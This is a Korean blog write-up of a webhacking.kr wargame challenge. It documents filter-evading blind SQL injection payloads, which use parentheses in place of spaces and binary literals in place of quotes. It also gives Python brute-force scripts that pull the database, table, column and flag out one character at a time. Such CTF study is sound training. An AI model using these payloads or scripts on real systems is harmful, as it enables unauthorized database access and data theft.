참일 때
거짓일 때
필터링
=, <, >, and, ||, &&, 공백, 0x, -, /, *, like, left, right, mid, ascii, hex, where, limit, union, order 등
되는 것
or, select,0b, ', substr, sleep,^,ord, if, database(), information, in, reverse 등
필터링과 되지 않은 것들은 더 있을 것인데 중요한 것만 추렸다
데이터베이스명 알아내기
no=(0)or(if(length(database())in(7),1,0))
ord(?)=99
'c'
아마 chall13이지 싶음
이제 테이블을 찾아야하는데
우선 테이블명의 길이부터 알아낸다
테이블명의 길이를 알아내는 쿼리문으로는
if((select(length(min(if((select(table_schema)in(데이터베이스이름)),table_name,null))))
from(information_schema.tables))in(테이블명길이),1,0)
import requests
url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}
for i in range(1,30):
res = requests.get(url+"if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in("+str(i)+"),1,0)",cookies=cookie)
if("<td>1</td>" in res.text):
print(str(i)+"is correct!!!!!")
break
print(str(i)+"incorrect")
테이블이름은 13글자
또 테이블명을 찾아본다
쿼리문은
if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1))
from(information_schema.tables))in(문자(2진수표현)),1,0)
'를 써서 'f'처럼 해도 안나오지만
2진수로 표현해서 비교하면 나옴
import requests
url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}
table_name=""
for i in range(1,14):
for j in range(33,128):
res = requests.get(url+"if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),"+str(i)+",1))from(information_schema.tables))in("+str(bin(j))+"),1,0)",cookies=cookie)
if("<td>1</td>" in res.text):
print(chr(j)+"is correct!!!!!")
table_name += chr(j)
break
print(chr(j)+"incorrect")
print(table_name)
테이블 이름은
flag_ab733768
컬럼을 찾아본다
먼저 컬럼의 길이
if((select(length(min(if((select(table_name)in(테이블명(2진수로))),column_name,null))))
from(information_schema.columns))in(컬럼명의 길이),1,0)
import requests
url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}
for i in range(1,30):
res = requests.get(url+"if((select(length(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))from(information_schema.columns))in("+str(i)+"),1,0)",cookies=cookie)
if("<td>1</td>" in res.text):
print(str(i)+"is correct!!!!!")
break
print(str(i)+"incorrect")
컬럼명의 길이
다음 컬럼명 찾기
쿼리문
if((select(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),1,1))from(information_schema.columns))in(문자(2진수형식)),1,0)
위에 보이는 0b~~~~는 table이름의 2진수 형태임
import requests
url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}
column_name=""
for i in range(1,14):
for j in range(33,128):
res = requests.get(url+"if((select(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),"+str(i)+",1))from(information_schema.columns))in("+str(bin(j))+"),1,0)",cookies=cookie)
if("<td>1</td>" in res.text):
print(chr(j)+"is correct!!!!!")
column_name += chr(j)
break
print(chr(j)+"incorrect")
print(column_name)
컬럼명은
flag_3a55b31d
마지막으로 컬럼안에 있는 flag를 추출하면 됨
flag의 길이 구하기
if((select(length(max(컬럼명)))from(데이터베이스명.테이블명))in(길이),1,0)
import requests
url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}
for i in range(1,50):
res = requests.get(url+"if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in("+str(i)+"),1,0)",cookies=cookie)
if("<td>1</td>" in res.text):
print(str(i)+"is correct!!!!!")
break
print(str(i)+"incorrect")
flag는 27글자
이제 flag를 구하기만 하면된다
쿼리문
if((select(substr(max(컬럼명),1,1))from(데이터베이스명.테이블명))in(문자(2진수 형식)),1,0)
import requests
url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}
flag=""
for i in range(1,28):
for j in range(33,128):
res = requests.get(url+"if((select(substr(max(flag_3a55b31d),"+str(i)+",1))from(chall13.flag_ab733768))in("+str(bin(j))+"),1,0)",cookies=cookie)
if("<td>1</td>" in res.text):
print(chr(j)+"is correct!!!!!")
flag += chr(j)
break
print(chr(j)+"incorrect")
print(flag)
flag에서
FLAG는 대문자로 하고
괄호 안의 문자는 소문자로 해야함
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 1번 (0) | 2020.01.24 |
---|---|
Webhacking.kr 52번 (2) | 2020.01.18 |
Webhacking.kr 9번 (0) | 2020.01.03 |
Webhacking.kr 57번 (0) | 2020.01.03 |
Webhacking.kr 45번 (0) | 2020.01.03 |